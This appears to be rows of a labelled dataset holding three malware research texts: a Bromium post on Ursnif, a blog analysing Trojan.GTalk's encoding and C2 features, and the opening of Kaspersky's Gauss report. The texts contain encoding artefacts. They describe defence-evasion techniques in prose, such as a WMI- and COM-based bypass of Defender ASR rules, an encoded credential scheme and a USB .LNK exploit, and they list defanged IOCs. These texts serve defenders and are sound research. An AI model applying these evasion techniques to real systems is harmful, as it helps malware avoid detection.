domain reputation service had classified the Ursnif delivery domain as malicious at the time when the Word dropper was run. Blacklist report of an Ursnif delivery domain Encrypted Zip Attachment The dropper is delivered inside a password-protected zip file, with the password in the email message body. The delivery of malware using this method is an old but effective technique for bypassing perimeter detection by malware scanners at the target\xe2\x80\x99s email gateway. While some organisations will block inbound email containing password-protected zip files as a matter of policy, many will not do so because they are often used for legitimate reasons. Bypassing an Attack Surface Reduction Rule The dropper we identified in this campaign contains an obfuscated VBA AutoOpen macro, which runs each time the document is opened. The document uses the common trick of requesting the user to enable macros, if they are not already enabled. Obfuscated VBA macro, partially showing the AutoOpen function and PowerShell command The macro runs a Base64 encoded PowerShell command using the Win32_Process and Win32_ProcessStartup WMI classes. The resulting PowerShell instance is run as a child process of WmiPrvSe.exe (WMI Provider Host). This benefits the adversary by defeating detection techniques that rely on parent-child process relationships because the parent process ID of the Ursnif executable will be the process ID of WmiPrvSe.exe, instead of winword.exe. In our testing on Windows 10 Enterprise 1809, we found that this technique is effective at bypassing the Windows Defender attack surface reduction rule that blocks Office applications from creating child processes. In some of the samples, this was used in conjunction with a COM technique that also spoofed the parent process ID of the Ursnif process. It is worth noting, however, that if the attack surface reduction rule \xe2\x80\x98Block process creations originating from PSExec and WMI commands\xe2\x80\x99 is enabled, the attack is successfully blocked. Deobfuscated macro that executes the PowerShell command via WMI We identified two types of PowerShell commands in this campaign. The first type downloads the Ursnif executable to the target\xe2\x80\x99s user profile folder, checks that the resulting file is greater than or equal to 40 KB, then runs it using the Invoke-Item cmdlet. Deobfuscated PowerShell command COMfoolery \xe2\x80\x93 Spoofing Ursnif\xe2\x80\x99s Parent Process ID The second type similarly downloads a string from a remote server and runs it in memory using the \xe2\x80\x98iex\xe2\x80\x99 alias of the Invoke-Expression cmdlet. Additionally, it downloads a byte array from a second website and writes it to a file in the target\xe2\x80\x99s ProgramData folder. It then instantiates a ShellBrowserWindow COM object by reference to its class ID (C08AFD90-F2A1-11D1-8455-00A0C91F3880), which is finally used to run the Ursnif executable using the ShellExecute method. The malware is run in a hidden window because the value of the final parameter is set to zero. The reason for doing this is so that Ursnif is created as a child process of the current instance of explorer.exe. This adds another layer of difficulty for detection techniques that rely on parent-child process relationships because the parent process ID of the Ursnif executable will be the process ID of explorer.exe, instead of the more suspicious WmiPrvSe.exe. Deobfuscated PowerShell command demonstrating COMfoolery Mitigation Bromium Controller\xe2\x80\x99s graph view showing an Ursnif executable being dropped and executed Endpoints that are running Bromium Secure Platform are protected from this threat because each user task, such as opening an Office document, is run in its own isolated micro-virtual machine (called \xce\xbcVMs). When the user closes a \xce\xbcVM, the virtual machine is destroyed along with the malware. All of the threat data associated with the attack is recorded and presented in the Bromium Controller, enabling SOC and incident response teams to quickly gain detailed insights into the threats facing their organisations. For machines that support Windows Defender\xe2\x80\x99s Attack Surface Reduction (ASR) rules (Windows 10 version 1803 or later, Windows Server 2016 1804 or later, or Windows Server 2019), we recommend enabling the rule to block process creations originating from PSExec and WMI commands (D1E49AAC-8F56-4280-B9BA-993A6D77406C), which would block the PowerShell stage of this attack. Update 04/06/2019 \xe2\x80\x93 Reader\xc2 Maxim Guslyaev reported to us that ASR rule D1E49AAC-8F56-4280-B9BA-993A6D77406C was not being enforced on Windows 10 version 1709. We conducted additional testing and confirmed that the minimum OS version to enforce this rule is Windows 10 version 1803. To verify that ASR rules are working correctly, we recommend testing your configuration using Microsoft\xe2\x80\x99s test files. As of 4 June, there is an open issue on Microsoft\xe2\x80\x99s Github page to clarify the minimum OS version required for each ASR rule. Thank you, Maxim! Indicators of Compromise (IOCs) The following IOCs were collected as part of this blog. Dropper File Name Request[integer].doc Ursnif File Path %UserProfile%\\[3 digits].exe Ursnif File Path %ProgramData%\\WlWdsDd.exe Delivery URL hxxp://176.32.35[.]16/704e.php Delivery URL hxxp://nge18oei[.]email/iwp01-2ksm/20918201.php?l=jsrxm10.sap Delivery URL hxxp://d49dv62iea39[.]email/puewpxmasl/suoepwxpamxapxlamslxdo.php?l=noos10.harz Delivery URL hxxp://fpetraardella[.]band/xap_102b-AZ1/704e.php?l=litten2.gas SHA256 148C998DECFD121DBB978CA5B16569CEA6F0DB2325FCE6FA2D825C09DE09FB1B SHA256 CA3FB0CD43A01FA492571A43C67CCA571A39B7291CE4BFF18D131A20D5092CCC SHA256 99439D1A41DE2568364693670826F6FBEC9A26315918E3A0FC93A12412842033 SHA256 DF30584321560CFBE899B0221E62E9227839915D6C39CCFD14C7C3C72C934A84 \xc2 Tags bypass an attack surface reduction rule Gozi Microsoft Word PowerShell threat Ursnif Subscribe to our blog SIGN ME UP About the Author Alex Holland Malware Analyst Author bio > \xe2\x80\xa2 Posts by this author > Recent Techinical Blog Posts September 3, 2019 Deobfuscating Ostap: TrickBot\xe2\x80\x99s 34,000 Line JavaScript Downloader Threat Research, Threats \xe2\x80\xa2 Alex Holland August 23, 2019 Agent Tesla: Evading EDR by Removing API Hooks Threat Research, Threats \xe2\x80\xa2 Ratnesh Pandey August 1, 2019 Decrypting L0rdix RAT\xe2\x80\x99s C2 Threat Research \xe2\x80\xa2 Alex Holland July 29, 2019 Dridex\xe2\x80\x99s Bag of Tricks: An Analysis of its Masquerading and Code Injection Techniques Threat Research \xe2\x80\xa2 Ratnesh Pandey July 19, 2019 An Analysis of L0rdix RAT, Panel and Builder Threat Research \xe2\x80\xa2 Alex Holland Categories Breaking News BYOM Company News Compliance End Users Government Healthcare Innovation NEWS Protected App Research Threat Research Threat Research NEWS Threats Web of Profit \xc3\x97 Alex Holland Malware Analyst Alex Holland is a Malware Analyst at Bromium, based in Cambridge, UK. He enjoys tracking malware families, admiring process trees and finding exciting ways of visualising samples. Subscribe Interested in signing up to receive notifications about news blogs? You can sign up for just technical blog or to receive notification about all blogs. SIGN ME UP 2019-06-10T18:55:30-07:00March 7th, 2019|Breaking News, Threats| Leave A Comment Cancel reply Comment Save my name, email, and website in this browser for the next time I comment. Notify me of follow-up comments by email. See Bromium in Action Request a demo and see how Bromium isolation will put an end to malware and attacks once and for all. Request a Demo Bromium, Inc. US: 1.408.213.5668 UK: +44.1223.314914 info@bromium.com Stop Attacks Email Attachments Phishing Links Downloads & Executables Unprotected Networks Uncategorized Websites Defense-grade Security Our Tech Bromium Secure Platform Virtualization-Based Security Bromium Protected App Rapid Deployment & ROI Risk Assessment Calculator Blog Resources Partners Bromium Partner Network Technology Partners Company Careers Events Investors Leadership Patents Press Releases Support News Contact Us Copyright Bromium Inc. All rights reserved. Privacy | Legal | Patents | Trademarks | Software License and Services Agreement | Contact /* ----------------------------------------- */ /* Content Template: template-for-blogs - start */ /* ----------------------------------------- */ @media only screen and (max-width: 800px) {#respond {position: inherit !important;padding-bottom: 50px;}} /* ----------------------------------------- */ /* Content Template: template-for-blogs - end */ /* ----------------------------------------- */ Share Tweet Share By continuing to use the site, you agree to the use of cookies. More information Accept The cookie settings on this website are set to ""allow cookies"" to give you the best browsing experience possible. If you continue to use this website without changing your cookie settings or you click ""Accept"" below then you are consenting to this. Close","0","1","0","0","0","1","1","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0" -"http://www.cyberengineeringservices.com/2011/12/15/trojan-gtalk/ NOV DEC MAY Previous capture 26 Next capture 2013 2014 2019 2 captures 26 Dec 2014 - 8 May 2019 About this capture Logo HOME PRODUCTS AND SERVICES DATASURITY MONITORING ACTIVE C2 SCANNING SITE SERVER PACKET CAPTURE INCIDENT RESPONSE RESOURCES SOLUTIONS DEFENSE/NATIONAL SECURITY LAW FIRMS/CORPORATE COUNCIL RETAIL BLOG COMPANY INFO COMPANY BACKGROUND CAREERS NEWS LEADERSHIP CONTACT TROJAN.GTALK By userDecember 15, 2011 hello_kitty Today I am going to write about an interesting Trojan, whose concept (controlling malware via instant messaging) has been used for some time. However Christmas came early this year and during one of our recent engagements we came across the C2 portion of this Trojan (screen shots are located at the end of this article). The Trojan itself utilizes gloox, which is a free and publicly available jabber/XMPP client. Jabber if you are unaware is an open standard for instant messaging, which is employed by the instant messaging portion of Google Talk. This sample will connect to Google Talk with hard coded credentials. The C2 portion of this Trojan family will also connect to Google Talk using credentials provided at run time via the GUI. Once the two components have successfully authenticated with Google Talk all of the communication between the components and the Google Servers will be encrypted by means of TLS and SASL. The C2 portion can then gather system information, run the pslist and pskill command, upload and download files, issue sleep commands, and obtain a reverse shell. The Trojan and the C2 have an additional layer of encoding, which to me was the interesting part of both of these samples. The hard coded credentials, the commands and responses for this sample are all encoded/decoded in the same manner. So that this article doesn\xe2\x80\x99t go from technical to soul crushingly boring only a high level explanation of the encoding/decoding will be provided below. The actual credentials are not provided in this document, however similar data was used as examples. Trojan.GTalk Analysis File Name: Trojan.GTalk.exe File Size: 353792 bytes MD5: 8845cb5b4e450cb10a3b6ca41a9b4319 SHA1: bd224865730ff72d960a8ea49be315fdc615edb3 PE Time: 0x4E4A32CF [Tue Aug 16 09:05:19 2011 UTC] PEID Sig: Microsoft Visual C++ 8 Sections (5): Name Entropy MD5 .text 6.58 bfb2e60a800996224698f5a81b80e8d1 .rdata 4.95 dbd4ac5000eda9e6e9124d72858d29b7 .data 4.46 54c204495e80764a21da3decd330cbb3 .rsrc 4.51 ffb05bcee52f5e69168029d4ffa5ccf1 .reloc 4.35 e6cfc56984a9068e2e5d3ca27cf67919 AV: 2/43 (4.7%) [VIRUS TOTAL] It should be noted that the hash values above do not match the hash values listed in Virus Total. The log on credentials were removed from the sample that was submitted to Virus Total. The hash values above are the correct hashes for the sample with the encoded credentials still in place. This sample does not entrench itself on the compromised system. Most likely the Trojan is entrenched on the compromised system either manually or by a dropper/installer file. Decoding Credentials This sample will take care of some basic housekeeping before it begins to decode the credentials that will be used to authenticate to the Google Talk servers. The credentials can be located in the file at offset 0x42d84. An example of the log on credentials (username in blue and password in red) can be seen below and are both null terminated strings. Offset 0 1 2 3 4 5 6 7 8 9 A B C D E F 00042D80 00 00 00 00 2B 34 71 4B 69 51 64 35 4D 2B 6F 4F +4qKiQd5M+oO 00042D90 70 66 4E 62 6A 37 75 2F 75 71 6A 61 4D 78 73 57 pfNbj7u/uqjaMxsW 00042DA0 31 50 58 37 46 6D 75 39 4E 4C 6D 7A 5A 48 4E 58 1PX7Fmu9NLmzZHNX 00042DB0 62 66 63 3D 00 00 00 00 00 00 00 00 00 00 00 00 bfc= 00042DC0 00 00 00 00 2B 34 71 4B 49 56 6F 50 2B 56 54 6A +4qKIVoP+VTj 00042DD0 71 4C 79 4B 78 44 39 41 2F 67 65 39 38 4F 6F 2F qLyKxD9A/ge98Oo/ 00042DE0 63 48 47 4B 69 67 3D 3D 00 00 00 00 00 00 00 00 cHGKig== This sample will Base64 decode the first string using a custom alphabet mapping. An example of the first string, in its decoded form, can be seen below. Offset 0 1 2 3 4 5 6 7 8 9 A B C D E F 00000000 FB 8A 8A 8A A6 F9 33 E3 A8 A5 F3 5B 8F BB BF B9 \xc3\xbb\xc5 \xc5 \xc5 \xc2\xa6\xc3\xb93\xc3\xa3\xc2\xa8\xc2\xa5\xc3\xb3[ \xc2\xbb\xc2\xbf\xc2\xb9 00000010 A8 EA 33 1B 16 D4 F5 F7 16 6B B4 34 B9 B3 C4 73 \xc2\xa8\xc3\xaa3 \xc3\x94\xc3\xb5\xc3\xb9 k\xc2\xb94\xc2\xb9\xc2\xb3ds 00000020 57 6D F7 Wm\xc3\xb7 This sample will then use a hard coded table that is located at offset 0x4e208 to further decode the above string. This step is just a large substitution cipher. The table located at the referenced offset is concealed in a larger portion of code, which is not used by the Trojan. The table (0x100 bytes in length and in black) can be seen below. Offset 0 1 2 3 4 5 6 7 8 9 A B C D E F 0004E1E0 54 60 3C 50 1F 20 97 A8 37 04 21 FF 06 17 DC AF T`

B\xc5\xb8_q \xc3\xab\xc2\xa1!@, \xc3 0004E2E0 B8 72 3A 3D E6 19 CF 65 92 20 10 9E 6C 54 39 01 \xc2\xb8r:=\xc3\xa6 \xc3\x8fe\xe2\x80\x99 \xc5\xbelT9 0004E2F0 FD 04 85 B5 05 5C C9 94 D4 6A 09 FF B3 2F 16 60 \xc3\xbd \xe2\x80\xa6\xc2\xb5 \\\xc3\x89\xe2\x80\x9d\xc3\x94j \xc3\xbf\xc2\xb3/ ` 0004E300 3B 7E 26 1D D3 A4 5E E3 ;~& \xc3\x93\xc2\xa4^\xc3\xa3 An example of how the substitution cipher works is as follows. The Trojan will use the first byte of the string (0xFB or decimal 251) and take the value located in that position and replace the original value of the string. This will occur for each byte of the string. Position D0 D1 D2 D3 D4 D5 D6 D7 D8 D9 DA DB DC DD DE DF Value 92 20 10 9E 6C 54 39 01 FD 04 85 B5 05 5C C9 94 Position F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF Value D4 6A 09 FF B3 2F 16 60 3B 7E 26 1D D3 A4 5E E3 Original String: Offset 0 1 2 3 4 5 6 7 8 9 A B C D E F 00000000 FB 8A 8A 8A A6 F9 33 E3 A8 A5 F3 5B 8F BB BF B9 \xc3\xbb\xc5 \xc5 \xc5 \xc2\xa6\xc3\xb93\xc3\xa3\xc2\xa8\xc2\xa5\xc3\xb3[ \xc2\xbb\xc2\xbf\xc2\xb9 00000010 A8 EA 33 1B 16 D4 F5 F7 16 6B B4 34 B9 B3 C4 73 \xc2\xa8\xc3\xaa3 \xc3\x94\xc3\xb5\xc3\xb9 k\xc2\xb94\xc2\xb9\xc2\xb3ds 00000020 57 6D F7 Wm\xc3\xb7 Decoded String: 00000000 1D 00 00 00 FB 5E FE 9E AF D7 FF 33 13 07 75 7F ...\xc3\xbb~\xc3\xbe\xc5\xbe\xc3\x9f3\xc3\x97\xc3\xbf 00000010 DF 82 FE FC 7D 40 2F 7E 7C CB 7F 32 7F AD D5 8B \xc3\x9f\xe2\x80\xa6\xc3\xbe\xc3\xbc|@/~|\xc3\x8b2\xc3\x8d\x7f\xc2\xad\xc3\x95\xe2\x80\xb9 00000020 CA B6 60 The next part of the decoding scheme is explained, for brevity, at a very high level. From my research I could not determine that this is a standard or well-known algorithm. Fully explaining how this algorithm works could be a blog unto itself. In the future, if time allows, I will write an article covering all the details of how this algorithm works and how to decode/encode data using the algorithm. The algorithm creates a 4,392 byte table of values. During the decoding process the position of values (specifically the ones used to decode) are exchanged with other values in the table, adding another layer of protection. The first Dword of the decoded string is the length of the final decoded string after the next stage of decoding. The final stage involves an algorithm that encodes and decodes data on the bit level. This bit stream encoding comprises a series of instructions which breaks each byte down into its binary equivalent (0xFB would be 1111 1011) . Each one of these binary values are treated as an integer and added to a hard coded starting value. The sum of the two pieces will act as an offset into the previously referenced 4,392 byte table. This table is created in memory at run time, from another set of instructions. The offset into the table will point to a word value, which will be added to the next integer representation of the binary data. This technique continues until the sum of the word value and the binary value exceeds the hard coded value 0\xc3\x97273. Once this criteria has been met the algorithm branches into another set of instructions. These instructions will perform some simple math to determine a pointer into the table. The value at this pointer is the decoded value, which will be written into memory. The algorithm then branches into another set of instructions that scrambles and alters (by means of addition) values in the 4,392 byte table, by exchanging several word values that were used to decode the previous byte of data. The algorithm will then continue with the steps outlined above until it reaches another value above 0\xc3\x97273. The result is the decoded string. The Trojan will then complete the sames steps to decode the password used to authenticate with the Google Talk servers. Trojan Communication The Trojan communication portion of this sample involves authenticating to Google Talk servers. This is accomplished with the credentials that were decoded above. Once an attacker has authenticated to the Google Talk Servers (via the GUI C2 node), the two pieces can begin communicating. The C2 node will issue commands, which are transmitted as integer values. These values are encoded in the steps above reversed (bit stream encoded, substitution cipher, and then Base64 encoded) and transmitted to the Trojan, via a secured conduit provided unwittingly by Google . The Trojan will decode the message it receives and send a response to the C2 in the same manner. If the C2 node establishes a reverse shell or uploads/downloads files, that data will also be encoded in the same manner. Once you get past the encoding/decoding portion of this sample everything else, including the commands, are straight forward and have been seen before in previously analyzed samples. Below is a screen shot of how this sample determines the commands sent. commands1-1024x354 I have included screen shots relating to the functionality of the GUI C2 portion of this family. first Initial Screen logon2 Log On Prompt I provided a set of credentials that I created for the analysis of this sample. loggedon Logged On, showing available compromised machine and embedded username The sample that was analyzed was patched with another set of credentials that I created for the analysis of this sample. The two google accounts were paired or connected prior to the analysis. talk Initial Command Screen for available compromised machine info Info Command pslist Pslist Command pskill Pskill Command putfile Uploading a file to the compromised machine getfile Downloading a file from the compromised machine cmd.exe Reverse shell to the compromised machine PEINFO SCRIPT KEYLOGGER.BRKBL Leave a Reply Your email address will not be published. Required fields are marked * Name * Email * Website Comment You may use these HTML tags and attributes:

HOME PRODUCTS AND SERVICES DATASURITY MONITORING ACTIVE C2 SCANNING SITE SERVER PACKET CAPTURE INCIDENT RESPONSE RESOURCES SOLUTIONS DEFENSE/NATIONAL SECURITY LAW FIRMS/CORPORATE COUNCIL RETAIL BLOG COMPANY INFO COMPANY BACKGROUND NEWS LEADERSHIP CAREERS CONTACT Developed by Think Up Themes Ltd. Powered by Wordpress.","0","0","0","0","0","0","1","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Gauss: Abnormal Distribution Kaspersky Lab Global Research and Analysis Team Contents Introduction 3 Executive Summary 4 Infection stats 5 Operating System Statistics 7 Architecture 8 Comparison with Flame 10 Wmiqry32/Wmihlp32.dll aka ShellHW 12 Installation 12 Operation 12 Dskapi.ocx 18 USB Payload 21 thumbs.db file 22 Smdk.ocx 24 McDmn.ocx 26 Lanhlp32.ocx 27 Devwiz.ocx 29 Winshell.ocx 31 Windig.ocx 37 Gauss C&C Information 39 Gauss C2 Domains Overview: 44 DNS Balancing 45 Timeline 46 Files list 47 Conclusion 49 2 Introduction While analyzing the Flame malware that we detected in May 2012, Kaspersky Lab experts identified some distinguishing features of Flame\xe2\x80\x99s modules. Based on those features, we discovered that in 2009, the first variant of the Stuxnet worm included a module that was created based on the Flame platform. This indicates that there was some form of collaboration between the groups that developed the Flame and Tilded (Stuxnet/Duqu) platforms. Based on the results of a detailed analysis of Flame, we continued to actively search for new, unknown components. A more in-depth analysis conducted in June 2012 resulted in the discovery of a new, previously unknown malware platform that uses a modular structure resembling that of Flame, a similar code base and system for communicating to C&C servers, as well as numerous other similarities to Flame. In our opinion, all of this clearly indicates that the new platform which we discovered and which we called \xe2\x80\x9cGauss,\xe2\x80\x9d is another example of a cyber-espionage toolkit based on the Flame platform. Gauss is a project developed in 2011-2012 along the same lines as the Flame project. The malware has been actively distributed in the Middle East for at least the past 10 months. The largest number of Gauss infections has been recorded in Lebanon, in contrast to Flame, which spread primarily in Iran. Functionally, Gauss is designed to collect as much information about infected systems as possible, as well as to steal credentials for various banking systems and social network, email and IM accounts. The Gauss code includes commands to intercept data required to work with several Lebanese banks \xe2\x80\x93 for instance, Bank of Beirut, Byblos Bank, and Fransabank. Curiously, several Gauss modules are named after famous mathematicians. The platform includes modules that go by the names \xe2\x80\x9cGauss\xe2\x80\x9d, \xe2\x80\x9cLagrange\xe2\x80\x9d, \xe2\x80\x9cGodel\xe2\x80\x9d, \xe2\x80\x9cTailor\xe2\x80\x9d, \xe2\x80\x9cKurt\xe2\x80\x9d (in an apparent reference to Godel). The Gauss module is responsible for collecting the most critical information, which is why we decided to name the entire toolkit after it. Gauss is a much more widespread threat than Flame. However, we have found no self-replication functionality in the modules that we have seen to date, which leaves open the question of its original attack vector. 3 Executive Summary The first known Gauss infections date back to September-October 2011. During that period, the Gauss authors modified different modules multiple times. They also changed command server addresses. In the middle of July 2012, when we had already discovered Gauss and were studying it, the command servers went offline. Gauss is designed to collect information and send the data collected to its command-and-control servers. Information is collected using various modules, each of which has its own unique functionality: \xe2\x96\xba Injecting its own modules into different browsers in order to intercept user sessions and steal passwords, cookies and browser history. \xe2\x96\xba Collecting information about the computer\xe2\x80\x99s network connections. \xe2\x96\xba Collecting information about processes and folders. \xe2\x96\xba Collecting information about BIOS, CMOS RAM. \xe2\x96\xba Collecting information about local, network and removable drives. \xe2\x96\xba Infecting USB drives with a spy module in order to steal information from other computers. \xe2\x96\xba Installing the custom Palida Narrow font (purpose unknown). \xe2\x96\xba Ensuring the entire toolkit\xe2\x80\x99s loading and operation. \xe2\x96\xba Interacting with the command and control server, sending the information collected to it, downloading additional modules. The spy module that works on USB drives uses an .LNK exploit for the CVE-2010-2568 (http://web.nvd.nist.gov/view/ vuln/detail?vulnId=CVE-2010-2568) vulnerability. The exploit is similar to the one used in the Stuxnet worm, but it is more effective. The module masks the Trojan\xe2\x80\x99s files on the USB drive without using a driver. It does not infect the system: information is extracted from it using a spy module (32- or 64-bit) and saved on the USB drive. 4 Infection stats We began our investigation into Gauss in early June 2012. Based on data obtained through the Kaspersky Security Network, we noticed right away that the Trojan appeared to be widely distributed in three particular countries in the Middle East. Further observation later confirmed this three-country concentration. As of 31 July 2012, we\xe2\x80\x99ve counted around 2500 unique PCs on which files from the Gauss collection have been found. Most infected countries The highest number of infections is recorded in Lebanon, with more than 1600 computers affected. The Gauss code (winshell.ocx) contains direct commands to intercept data required to work with Lebanese banks \xe2\x80\x93 including the Bank of Beirut, Byblos Bank and Fransabank. In Israel and the Palestinian Territory, 750 incidents have been recorded. Unique users Lebanon 1660 Israel 483 Palestinian Territory 261 United States 43 United Arab Emirates 11 Germany 5 Egypt 4 Qatar 4 Jordan 4 Saudi Arabia 4 Syria 4 Top 10 infected countries 5 As can be seen in the above table, with the exceptions of the USA and Germany, all incidents took place in the Middle East. However, we believe that in the majority of cases linked to the USA and Germany the affected users were actually in the Middle East too - using VPNs (or the Tor anonymity network). In all, we\xe2\x80\x99ve recorded incidents in 25 countries around the world; however, in all the countries outside the top 10 only one or two incidents have been recorded: Total infected users Regarding the spreading mechanism used by Gauss, the obtained data leave us with more questions unanswered than solved. The overall number of infections (around 2500) that we\xe2\x80\x99ve detected could in reality just be a small portion of tens of thousands of infections, since our statistics only cover users of Kaspersky Lab products. 6 When we compare the number of Gauss infections with those of other programs discovered earlier that have either common components or structures, we get the following figures: Name Incidents (KL stats) Incidents (approx.) Stuxnet More than 100 000 More than 300 000 Gauss ~ 2500 ? Flame ~ 700 ~5000-6000 Duqu ~20 ~50-60 Gauss has been spreading in the region for at least 10 months, in the course of which it has infected thousands of systems. On one hand, this is an uncharacteristically high number for targeted attacks similar to Duqu (it\xe2\x80\x99s possible that such a high number of incidents is due to the presence of a worm in one of the Gauss modules that we still don\xe2\x80\x99t know about). However, the infections have been predominantly within the boundaries of a rather small geographical region. If the malware had the ability to spread indiscriminately \xe2\x80\x93 for example, on USB sticks as was the case with Stuxnet \xe2\x80\x93 infections would have been detected in much greater numbers in other countries. Operating System Statistics Gauss was designed for 32-bit versions of the Windows operating system. Some of the modules do not work under Windows 7 SP1. OS % from total Windows 7 34.87 XP Professional SP2 26.40 XP Professional SP3 17.92 Windows 7 SP1 10.77 Windows 7 Home 2.15 Vista Home SP1 1.71 Vista Home 1.22 Windows 7 Home SP1 0.88 Vista Home SP2 0.83 Vista 0.64 Vista SP2 0.39 XP Home Edition 0.39 Vista SP1 0.34 Other 1.47 There is a separate spy module that operates on USB drives (see description of dskapi.ocx) and is designed to collect information from 64-bit systems. 7 Architecture Gauss is a modular system. The number and combination of modules may change from one infected system to another. In the course of our research, we discovered the following modules: Module name Location Description Cosmos %system32%\\devwiz.ocx Collects information about CMOS, BIOS Kurt, Godel %system32%\\dskapi.ocx Infects USB drives with data-stealing module Tailor %system32%\\lanhlp32.ocx Collects information about network interfaces McDomain %system32%\\mcdmn.ocx Collects information about user\xe2\x80\x99s domain UsbDir %system32%\\smdk.ocx Collects information about computer\xe2\x80\x99s drives Lagrange %system32%\\windig.ocx Installs a custom \xe2\x80\x9cPalida Narrow\xe2\x80\x9d font Gauss %system32%\\winshell.ocx Installs browser plugins that collect passwords and cookies ShellHW %system32%\\wbem\\wmiqry32.ocx %system32%\\wbem\\wmihlp32.ocx Main loader and communication module The configuration of a specific combination of modules for each system is described in a special registry key. This technique, as well as the configuration structure itself, is similar to that used in Stuxnet/Duqu (storing of the configuration in the Windows registry) and Flame (configuration structure). Flame stores its configuration in the main module (mssecmgr.ocx). We created a special detection routine which helped us to discover various Gauss configurations based on registry settings on infected machines. We detected about 1700 such configurations in total, which revealed a picture of modules propagation: Module Number of PC with the module (defined in config) UsbDir 1655 Godel 1220 Gauss 858 Gauss_1.1 510 Kurt (aka Godel) 433 Gauss 1.0.8 318 Tailor 28 McDomain 1.2 5 Cosmos 5 Lagrange 3 You can see three main modules, which are used in most cases \xe2\x80\x93 Gauss, Godel and UsbDir. 8 Some examples of different configs: Cosmos Gauss McDomain 1.2 UsbDir Cosmos Gauss 1.0.8 Godel McDomain 1.2 Tailor UsbDir Godel Gauss 1.0.8 Godel Lagrange Tailor UsdDir Gauss Kurt UsbDir As mentioned above, we have been unable to discover the original infection vector and the dropper file that installs Gauss in the system. In all the systems we have studied, we dealt with a set of modules that was already installed. It is possible that during initial infection, only the ShellHW component is installed, which then installs the other modules. ShellHW (file name \xe2\x80\x9cwmiqry32.dll\xe2\x80\x9d/\xe2\x80\x9dwmihlp32.dll\xe2\x80\x9d) is the main component of the malware which ensures that all other Gauss modules are loaded when the malware starts and operate correctly. 9 Comparison with Flame As we mentioned above, there are significant similarities in code and architecture between Gauss and Flame. In fact, it is largely due to these similarities that Gauss was discovered. We created the following table for a clearer understanding of these facts and proof of \xe2\x80\x98kinship\xe2\x80\x99 between the two attack platforms: Feature Flame Gauss Modular architecture Yes Yes Using kernel drivers No No .OCX files extensions Yes Yes Configuration settings Predefined in main body Stored in registry DLL injections Yes Yes Visual C++ Yes Yes Encryption methods XOR XOR Using USB as storage Yes (hub001.dat) Yes (.thumbs.db) Embedded LUA scripting Yes No Browser history/cookies stealer Yes (soapr32/nteps32) Yes (winshell) CVE2010-2568 (.LNK exploit) Yes (target.lnk) Yes (target.lnk) C&C communication https https Log files/stolen data stored in %temp% Yes Yes Zlib compression of collected data Yes Yes In addition to the features listed above, there are considerable similarities in the operation of the Flame and Gauss C&C servers. The relevant analysis is provided in the C&C Communication section. There are more similarities in the code and data of the modules: \xe2\x96\xba C++ runtime type information (RTTI) structures are encoded to hide the names of the standard library classes. The same encoded names can be found in both Flame and Gauss modules, i.e. the first RTTI structure contains name \xe2\x80\x9cAVnxsys_uwip\xe2\x80\x9d that most likely belongs to the \xe2\x80\x9cAVtype_info\xe2\x80\x9d class. rpcns4.ocx Flame module: \xe2\x80\x9cFlask\xe2\x80\x9d winshell.ocx Gauss module: \xe2\x80\x9cGauss\xe2\x80\x9d 10 \xe2\x96\xba Most of Flame and Gauss modules contain dozens of object initialization functions that construct string objects from encrypted data. The layout of these functions is almost identical. mssecmgr.ocx Flame main module wmiqry32.dll, wmihlp32.dll Gauss main module \xe2\x96\xba String decryption routines (\xe2\x80\x9cGetDecryptedStrings\xe2\x80\x9d used in initialization functions) are very similar, although not identical, because the layout of the structures holding encrypted strings was changed. mssecmgr.ocx Flame main module wmiqry32.dll, wmihlp32.dll Gauss main module 11 Wmiqry32/Wmihlp32.dll aka ShellHW Installed by: Unknown dropper Operates in two modes: installation and normal operation. File names %system32%\\wbem\\wmiqry32.dll %system32%\\wbem\\wmihlp32.dll Some known MD5 C3B8AD4ECA93114947C777B19D3C6059 08D7DDB11E16B86544E0C3E677A60E10 055AE6B8070DF0B3521D78E1B8D2FCE4 FA54A8D31E1434539FBB9A412F4D32FF 01567CA73862056304BB87CBF797B899 23D956C297C67D94F591FCB574D9325F Image Size 258 048 bytes Number of resources 7 Resources 121, 131, 141, 151, 161, 171, 181 Date of compilation Jun 1 2011 Jul 16 2011 Jul 18 2011 Sep 28 2011 Oct 20 2011 Related files %temp%\\~shw.tmp %temp%\\~stm.tmp Installation The module checks if it was loaded by \xe2\x80\x9clsass.exe\xe2\x80\x9d process and, if true, proceeds with the installation. It writes itself in files: %system32%\\wbem\\wmiqry32.dll, %system32%\\wbem\\wmihlp32.dll and modifies the system registry to be loaded instead of %system32%\\wbem\\wbemsvc.dll file. To achieve this, it writes the following registry value: Operation The module is automatically loaded into processes that use wbemsvc.dll. When loaded in \xe2\x80\x9csvchost.exe\xe2\x80\x9d that was started with \xe2\x80\x9c-k netsvc\xe2\x80\x9d parameter, it starts its main thread. The module creates 